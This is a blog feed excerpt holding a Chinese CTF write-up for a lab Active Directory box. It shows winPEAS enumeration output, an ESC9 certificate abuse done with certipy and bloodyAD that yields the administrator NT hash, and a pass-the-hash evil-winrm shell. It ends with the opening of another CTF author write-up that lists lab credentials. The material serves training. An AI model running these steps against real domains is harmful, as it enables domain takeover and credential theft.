WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 SID: S-1-5-21-3830242231-3868280746-2763890440-1112                                                                                                     
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 SID: S-1-5-80-2652535364-2169709536-2857650723-2622804123-1107741775                                                                                    
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 SID: S-1-5-18
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Cloud Credentials
WINRM       172.16.55.128   5985   DC01             È  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#files-and-registry-credentials                           
WINRM       172.16.55.128   5985   DC01                 Not Found
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Unattend Files
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Looking for common SAM &amp;amp; SYSTEM backups
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Looking for McAfee Sitelist.xml Files
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Cached GPP Passwords
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Looking for possible regs with creds
WINRM       172.16.55.128   5985   DC01             È  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#inside-the-registry                                      
WINRM       172.16.55.128   5985   DC01                 Not Found
WINRM       172.16.55.128   5985   DC01                 Not Found
WINRM       172.16.55.128   5985   DC01                 Not Found
WINRM       172.16.55.128   5985   DC01                 Not Found
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Looking for possible password files in users homes                                                                                             
WINRM       172.16.55.128   5985   DC01             È  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#files-and-registry-credentials                           
WINRM       172.16.55.128   5985   DC01                 C:\Users\All Users\Microsoft\UEV\InboxTemplates\RoamingCredentialSettings.xml                                                                           
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Searching for Oracle SQL Developer config files                                                                                                
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Slack files &amp;amp; directories
WINRM       172.16.55.128   5985   DC01               note: check manually if something is found
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Looking for LOL Binaries and Scripts (can be slow)                                                                                             
WINRM       172.16.55.128   5985   DC01             È  https://lolbas-project.github.io/
WINRM       172.16.55.128   5985   DC01                [!] Check skipped, if you want to run it, please specify &amp;#39;-lolbas&amp;#39; argument                                                                              
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Enumerating Outlook download files
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Enumerating machine and user certificate files                                                                                                 
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01               Issuer             : CN=lookback-DC01-CA, DC=lookback, DC=htb                                                                                             
WINRM       172.16.55.128   5985   DC01               Subject            :
WINRM       172.16.55.128   5985   DC01               ValidDate          : 10/19/2025 6:44:52 AM
WINRM       172.16.55.128   5985   DC01               ExpiryDate         : 10/19/2026 6:44:52 AM
WINRM       172.16.55.128   5985   DC01               HasPrivateKey      : True
WINRM       172.16.55.128   5985   DC01               StoreLocation      : LocalMachine
WINRM       172.16.55.128   5985   DC01               KeyExportable      : True
WINRM       172.16.55.128   5985   DC01               Thumbprint         : 97A1FC96F661B5E0E25802BEEB0856CA7EDE670C                                                                                             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01               Template           : Template=Domain Controller Authentication(1.3.6.1.4.1.311.21.8.4679832.14812446.16206242.389827.4589012.184.1.28), Major Version Number=110, Minor Version Number=0                                                                          
WINRM       172.16.55.128   5985   DC01               Enhanced Key Usages
WINRM       172.16.55.128   5985   DC01                    Client Authentication     [*] Certificate is used for client authentication!                                                                         
WINRM       172.16.55.128   5985   DC01                    Server Authentication
WINRM       172.16.55.128   5985   DC01                    Smart Card Logon
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01               Issuer             : CN=lookback-DC01-CA, DC=lookback, DC=htb                                                                                             
WINRM       172.16.55.128   5985   DC01               Subject            : CN=dc01.lookback.htb
WINRM       172.16.55.128   5985   DC01               ValidDate          : 10/19/2025 6:42:50 AM
WINRM       172.16.55.128   5985   DC01               ExpiryDate         : 10/19/2026 6:42:50 AM
WINRM       172.16.55.128   5985   DC01               HasPrivateKey      : True
WINRM       172.16.55.128   5985   DC01               StoreLocation      : LocalMachine
WINRM       172.16.55.128   5985   DC01               KeyExportable      : True
WINRM       172.16.55.128   5985   DC01               Thumbprint         : 8D793805B6ADC17E2D7C86545C42BFDEF400BCDA                                                                                             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01               Template           : DomainController
WINRM       172.16.55.128   5985   DC01               Enhanced Key Usages
WINRM       172.16.55.128   5985   DC01                    Client Authentication     [*] Certificate is used for client authentication!                                                                         
WINRM       172.16.55.128   5985   DC01                    Server Authentication
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01               Issuer             : CN=lookback-DC01-CA, DC=lookback, DC=htb                                                                                             
WINRM       172.16.55.128   5985   DC01               Subject            :
WINRM       172.16.55.128   5985   DC01               ValidDate          : 10/19/2025 6:44:52 AM
WINRM       172.16.55.128   5985   DC01               ExpiryDate         : 10/19/2026 6:44:52 AM
WINRM       172.16.55.128   5985   DC01               HasPrivateKey      : True
WINRM       172.16.55.128   5985   DC01               StoreLocation      : LocalMachine
WINRM       172.16.55.128   5985   DC01               KeyExportable      : True
WINRM       172.16.55.128   5985   DC01               Thumbprint         : 75B9E9D3B9837F6945A39582D2FC4B4D48A72815                                                                                             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01               Template           : Template=Directory Email Replication(1.3.6.1.4.1.311.21.8.4679832.14812446.16206242.389827.4589012.184.1.29), Major Version Number=115, Minor Version Number=0                                                                               
WINRM       172.16.55.128   5985   DC01               Enhanced Key Usages
WINRM       172.16.55.128   5985   DC01                    Directory Service Email Replication
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01               Issuer             : CN=lookback-DC01-CA, DC=lookback, DC=htb                                                                                             
WINRM       172.16.55.128   5985   DC01               Subject            : CN=dc01.lookback.htb
WINRM       172.16.55.128   5985   DC01               ValidDate          : 10/19/2025 6:44:52 AM
WINRM       172.16.55.128   5985   DC01               ExpiryDate         : 10/19/2026 6:44:52 AM
WINRM       172.16.55.128   5985   DC01               HasPrivateKey      : True
WINRM       172.16.55.128   5985   DC01               StoreLocation      : LocalMachine
WINRM       172.16.55.128   5985   DC01               KeyExportable      : True
WINRM       172.16.55.128   5985   DC01               Thumbprint         : 6F0C0F282C91BEA5395643FED00EDCF70F799D29                                                                                             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01               Template           : DomainController
WINRM       172.16.55.128   5985   DC01               Enhanced Key Usages
WINRM       172.16.55.128   5985   DC01                    Client Authentication     [*] Certificate is used for client authentication!                                                                         
WINRM       172.16.55.128   5985   DC01                    Server Authentication
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01               Issuer             : CN=lookback-DC01-CA, DC=lookback, DC=htb                                                                                             
WINRM       172.16.55.128   5985   DC01               Subject            : CN=lookback-DC01-CA, DC=lookback, DC=htb                                                                                             
WINRM       172.16.55.128   5985   DC01               ValidDate          : 10/19/2025 6:42:34 AM
WINRM       172.16.55.128   5985   DC01               ExpiryDate         : 10/19/2030 6:52:33 AM
WINRM       172.16.55.128   5985   DC01               HasPrivateKey      : True
WINRM       172.16.55.128   5985   DC01               StoreLocation      : LocalMachine
WINRM       172.16.55.128   5985   DC01               KeyExportable      : True
WINRM       172.16.55.128   5985   DC01               Thumbprint         : 410D6DA24FEB978AA8F2EB937906B07713D5B003                                                                                             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01               Issuer             : CN=lookback-DC01-CA, DC=lookback, DC=htb                                                                                             
WINRM       172.16.55.128   5985   DC01               Subject            :
WINRM       172.16.55.128   5985   DC01               ValidDate          : 10/19/2025 6:44:52 AM
WINRM       172.16.55.128   5985   DC01               ExpiryDate         : 10/19/2026 6:44:52 AM
WINRM       172.16.55.128   5985   DC01               HasPrivateKey      : True
WINRM       172.16.55.128   5985   DC01               StoreLocation      : LocalMachine
WINRM       172.16.55.128   5985   DC01               KeyExportable      : True
WINRM       172.16.55.128   5985   DC01               Thumbprint         : 1D487661007C25C2362E2206BF0E5E8998B005A7                                                                                             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01               Template           : Template=Kerberos Authentication(1.3.6.1.4.1.311.21.8.4679832.14812446.16206242.389827.4589012.184.1.33), Major Version Number=110, Minor Version Number=0                                                                                   
WINRM       172.16.55.128   5985   DC01               Enhanced Key Usages
WINRM       172.16.55.128   5985   DC01                    Client Authentication     [*] Certificate is used for client authentication!                                                                         
WINRM       172.16.55.128   5985   DC01                    Server Authentication
WINRM       172.16.55.128   5985   DC01                    Smart Card Logon
WINRM       172.16.55.128   5985   DC01                    KDC Authentication
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Searching known files that can contain creds in home                                                                                           
WINRM       172.16.55.128   5985   DC01             È  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#files-and-registry-credentials                           
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Looking for documents --limit 100--
WINRM       172.16.55.128   5985   DC01                 Not Found
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Office Most Recent Files -- limit 50
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01               Last Access Date           User                                           Application           Document                                                  
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Recent files --limit 70--
WINRM       172.16.55.128   5985   DC01                 Not Found
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Looking inside the Recycle Bin for creds files                                                                                                 
WINRM       172.16.55.128   5985   DC01             È  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#files-and-registry-credentials                           
WINRM       172.16.55.128   5985   DC01                 Not Found
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Searching hidden files or folders in C:\Users home (can be slow)                                                                               
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                  C:\Users\Default User
WINRM       172.16.55.128   5985   DC01                  C:\Users\Default
WINRM       172.16.55.128   5985   DC01                  C:\Users\All Users
WINRM       172.16.55.128   5985   DC01                  C:\Users\Default
WINRM       172.16.55.128   5985   DC01                  C:\Users\All Users\ntuser.pol
WINRM       172.16.55.128   5985   DC01                  C:\Users\All Users
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Searching interesting files in other users home directories (can be slow)                                                                      
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01               [X] Exception: Object reference not set to an instance of an object.                                                                                      
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Searching executable files in non-default folders with write (equivalent) permissions (can be slow)                                            
WINRM       172.16.55.128   5985   DC01                  File Permissions &amp;quot;C:\Users\All Users\winPEASx64.exe&amp;quot;: administrator  [Allow: AllAccess]                                                                
WINRM       172.16.55.128   5985   DC01                  File Permissions &amp;quot;C:\Users\All Users\Seatbelt.exe&amp;quot;: administrator  [Allow: AllAccess]                                                                  
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Looking for Linux shells/distributions - wsl.exe, bash.exe                                                                                     
WINRM       172.16.55.128   5985   DC01                 C:\Windows\System32\wsl.exe
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 WSL - no installed Linux distributions found.
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                    /---------------------------------------------------------------------------------\                                                                  
WINRM       172.16.55.128   5985   DC01                    |                             Do you like PEASS?                                  |                                                                  
WINRM       172.16.55.128   5985   DC01                    |---------------------------------------------------------------------------------|                                                                  
WINRM       172.16.55.128   5985   DC01                    |         Learn Cloud Hacking       :     training.hacktricks.xyz                 |                                                                  
WINRM       172.16.55.128   5985   DC01                    |         Follow on Twitter         :     @hacktricks_live                        |                                                                  
WINRM       172.16.55.128   5985   DC01                    |         Respect on HTB            :     SirBroccoli                             |                                                                  
WINRM       172.16.55.128   5985   DC01                    |---------------------------------------------------------------------------------|                                                                  
WINRM       172.16.55.128   5985   DC01                    |                                 Thank you!                                      |                                                                  
WINRM       172.16.55.128   5985   DC01                    \---------------------------------------------------------------------------------/                                                                  
WINRM       172.16.55.128   5985   DC01             
                                            
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;think&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ AD CS misconfigurations for ESC
WINRM       172.16.55.128   5985   DC01             È  https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/ad-certificates.html                                                      
WINRM       172.16.55.128   5985   DC01             È Check for ADCS misconfigurations in the local DC registry                                                                                                 
WINRM       172.16.55.128   5985   DC01               StrongCertificateBindingEnforcement:  - Allow weak mapping if SID extension missing, may be vulnerable to ESC9.                                           
WINRM       172.16.55.128   5985   DC01               CertificateMappingMethods:  - Strong Certificate mapping enabled.                                                                                         
WINRM       172.16.55.128   5985   DC01               IF_ENFORCEENCRYPTICERTREQUEST set in InterfaceFlags - not vulnerable to ESC11.                                                                            
WINRM       172.16.55.128   5985   DC01               szOID_NTDS_CA_SECURITY_EXT not disabled for the CA - not vulnerable to ESC16.                                                                             
WINRM       172.16.55.128   5985   DC01             È 
WINRM       172.16.55.128   5985   DC01             If you can modify a template (WriteDacl/WriteOwner/GenericAll), you can abuse ESC4                                                                          
WINRM       172.16.55.128   5985   DC01               Dangerous rights over template: User  (Rights: WriteProperty,ExtendedRight)                                                                               
WINRM       172.16.55.128   5985   DC01               Dangerous rights over template: UserSignature  (Rights: WriteProperty,ExtendedRight)                                                                      
WINRM       172.16.55.128   5985   DC01               Dangerous rights over template: ClientAuth  (Rights: WriteProperty,ExtendedRight)                                                                         
WINRM       172.16.55.128   5985   DC01               Dangerous rights over template: EFS  (Rights: WriteProperty,ExtendedRight)                                                                                
WINRM       172.16.55.128   5985   DC01               Dangerous rights over template: login  (Rights: ExtendedRight)                                                                                            
WINRM       172.16.55.128   5985   DC01               Dangerous rights over template: IT-login  (Rights: ExtendedRight)                                                                                         
WINRM       172.16.55.128   5985   DC01               [*] Tip: Abuse with tools like Certipy (template write -&amp;gt; ESC1 -&amp;gt; enroll).  
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;ESC9&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;code&gt;StrongCertificateBindingEnforcement&lt;/code&gt;&lt;br/&gt; 为 0（弱映射）&lt;/th&gt;
&lt;th&gt;✅ 可配合改名账户利用&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;/table&gt;
&lt;h2&gt;ESC9&lt;/h2&gt;
&lt;h3&gt;申请证书&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;已经改过名的Administrator 身份申请 &lt;code&gt;User&lt;/code&gt; 证书&lt;/p&gt;
&lt;p&gt;改名方法见Bad Ending-证书欺诈&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(web)─(root㉿kali)-[/home/…/Desktop/hmv/lookback/myself]
└─# certipy req -u &amp;#39;administrator @lookback.htb&amp;#39; -p &amp;#39;ITLogin!2026#Qw&amp;#39; -dc-ip 172.16.55.128 \
  -target dc01.lookback.htb -ca lookback-DC01-CA -template User \
  -out /home/kali/Desktop/hmv/lookback/adminspace_user_direct_20260411
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[!] DNS resolution failed: The resolution lifetime expired after 5.403 seconds: Server Do53:172.16.55.128@53 answered The DNS operation timed out.; Server Do53:172.16.55.128@53 answered The DNS operation timed out.; Server Do53:172.16.55.128@53 answered The DNS operation timed out.
[!] Use -debug to print a stacktrace
[*] Requesting certificate via RPC
[*] Request ID is 8
[*] Successfully requested certificate
[*] Got certificate with UPN &amp;#39;IT-login-user@lookback.htb&amp;#39;
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to &amp;#39;/home/kali/Desktop/hmv/lookback/adminspace_user_direct_20260411.pfx&amp;#39;
[*] Wrote certificate and private key to &amp;#39;_home_kali_Desktop_hmv_lookback_adminspace_user_direct_20260411.pfx&amp;#39;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;回滚UPN&lt;/h3&gt;
&lt;p&gt;回滚受控账号 UPN（SID &lt;code&gt;...-1112&lt;/code&gt;）&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(web)─(root㉿kali)-[/home/…/Desktop/hmv/lookback/myself]
└─# proxychains -q bloodyAD --host 172.16.55.128 -d lookback.htb -u IT-admin -p &amp;#39;V9bT6itAdmin2026&amp;#39; set object S-1-5-21-3830242231-3868280746-2763890440-1112 userPrincipalName -v IT-login-user@lookback.htb
[+] S-1-5-21-3830242231-3868280746-2763890440-1112&amp;#39;s userPrincipalName has been updated
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;同步时间&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(web)─(root㉿kali)-[/home/…/Desktop/hmv/lookback/myself]
└─# nmap -Pn -p445 --script smb2-time 172.16.55.128

Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-11 07:19 +0000
Nmap scan report for dc01.lookback.htb (172.16.55.128)
Host is up (0.00016s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 08:00:27:2F:A0:3B (Oracle VirtualBox virtual NIC)

Host script results:
| smb2-time: 
|   date: 2026-04-11T07:27:19
|_  start_date: N/A

Nmap done: 1 IP address (1 host up) scanned in 1.29 seconds
                                                                                                        
┌──(web)─(root㉿kali)-[/home/…/Desktop/hmv/lookback/myself]
└─# date -s &amp;#39;2026-04-11 07:27:30&amp;#39;      
2026年 04月 11日 星期六 07:27:30 UTC
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;认证证书&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(web)─(root㉿kali)-[/home/…/Desktop/hmv/lookback/myself]
└─# proxychains -q certipy auth -pfx /home/kali/Desktop/hmv/lookback/_home_kali_Desktop_hmv_lookback_adminspace_user_direct_20260411.pfx -dc-ip 172.16.55.128
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: &amp;#39;administrator@lookback.htb&amp;#39;
[*] Using principal: &amp;#39;administrator@lookback.htb&amp;#39;
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to &amp;#39;administrator.ccache&amp;#39;
[*] Wrote credential cache to &amp;#39;administrator.ccache&amp;#39;
[*] Trying to retrieve NT hash for &amp;#39;administrator&amp;#39;
[*] Got hash for &amp;#39;administrator@lookback.htb&amp;#39;: aad3b435b51404eeaad3b435b51404ee:bbabdc192282668fe5190ab0c5150b34
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;evil-winrm&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# proxychains -q evil-winrm -i 172.16.55.128 -u administrator -H &amp;#39;bbabdc192282668fe5190ab0c5150b34&amp;#39;
                                        
Evil-WinRM shell v3.9
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc&amp;#39; for module Reline                                                                                
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion                                                                                           
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Getflag&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/qq%20group/lookback-8.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/qq-group/lookback/&quot;&gt;https://heathc1iff-sec.github.io/blog/qq-group/lookback/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Fri, 10 Apr 2026 00:00:00 GMT</pubDate></item><item><title>HTB-Aptlabs</title><link>https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/aptlabs/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/aptlabs/</guid><description>Pro Labs-Aptlabs</description><content:encoded>&lt;p&gt;This article is password-protected. Please visit &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/aptlabs/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/aptlabs/&lt;/a&gt; to unlock and view the full content.&lt;/p&gt; &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/aptlabs/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/aptlabs/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Thu, 09 Apr 2026 00:00:00 GMT</pubDate></item><item><title>PolarisCTF-BabyDC(Documents)</title><link>https://heathc1iff-sec.github.io/blog/myself-machine/castlevania-documents/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/myself-machine/castlevania-documents/</guid><description>个人出题-作者WriteUp</description><content:encoded>&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/ctf/poloarsctf.png&quot; alt=&quot;&quot;&gt;
&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Documents-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h1&gt;Castlevania - Description&lt;/h1&gt;
&lt;h2&gt;🦇 血色城堡的试炼&lt;/h2&gt;
&lt;p&gt;夜色如墨，雾气在古老的塔尖缭绕。&lt;br&gt;在这片孤悬于暗影海上的废墟之上，&lt;strong&gt;Baby_DC&lt;/strong&gt; 伫立着。城堡的石墙布满岁月的裂纹，残留的铭文仿佛低语着血与权力的秘密。&lt;br&gt;传说，城堡的深处封印着至高无上的力量——&lt;strong&gt;域控之主的遗产&lt;/strong&gt;。而唯有勇敢、狡黠且敏锐的猎人，才能步入这片黑暗迷宫。&lt;/p&gt;
&lt;p&gt;你，是被命运选中的Ctfer。你手持智慧的鞭子，心怀猎魔者的冷冽与坚毅。你的任务，是沿着蛛丝般的漏洞链，一步步解锁城堡的秘密，最终夺取支配之力。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;🔮 城堡探秘指南&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;城堡区域&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;暗影线索&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;猎人行动&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;前庭：破碎的彩窗&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;IIS 的古老铭文残缺不全，短名如裂纹映出真实文件的轮廓&lt;/td&gt;
&lt;td&gt;循着残存的光影，找到被隐藏的卷轴&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;图书馆：尘封的藏书库&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;MSSQL 的书架错位排列，Linked Server 的符文彼此共鸣&lt;/td&gt;
&lt;td&gt;借由错误的多重咒文，踏入高阶的禁区&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;地下水脉：沉睡的地道&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;黑暗中回荡着隐秘的回声，服务之魂在隧道中低语&lt;/td&gt;
&lt;td&gt;唤醒支配之力，挖掘幽深的隧道&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;礼拜堂：幽魂的邮驿室&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;邮箱如祭祀符文闪烁，信件承载着未被察觉的低语&lt;/td&gt;
&lt;td&gt;欺瞒死神的信使，诱出被遗忘的名字与密语&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;时钟塔：失序的混沌戒指&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Kerberos 的齿轮开始逆转，身份与时间失去秩序&lt;/td&gt;
&lt;td&gt;双重咒印崩解，开启逆城的大门&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;血色密室：禁忌的灵魂之匣&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Registry Hive 如封存灵魂的容器，机器的记忆在哭泣&lt;/td&gt;
&lt;td&gt;窃取三份古文书，汲取魔王的暗影之力&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;王座室：不灭的护身符&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;域控之主的权柄凝结为黄金之证，欺骗身份与历史&lt;/td&gt;
&lt;td&gt;铸造并注入黄金之证，坐上血红的王座&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;终焉之间：血之圣杯&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Flag 是逆城的核心封印，亦是支配的终点&lt;/td&gt;
&lt;td&gt;完成仪式，读取隐藏 Flag，城堡隐于月下&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;hr&gt;
&lt;h1&gt;Castlevania - Credentials&lt;/h1&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;步骤&lt;/th&gt;
&lt;th&gt;获取方式&lt;/th&gt;
&lt;th&gt;凭据&lt;/th&gt;
&lt;th&gt;用途&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;IIS 8.3 短文件名 + fuzz&lt;/td&gt;
&lt;td&gt;&lt;code&gt;wuwupor:lovlyBaby&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;MSSQL 低权限登录&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;SMTP欺骗&lt;/td&gt;
&lt;td&gt;&lt;code&gt;p2zhh:p2zhh_web&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;域用户，用于 Kerberos 查询&lt;/td&gt;
&lt;/tr&gt;
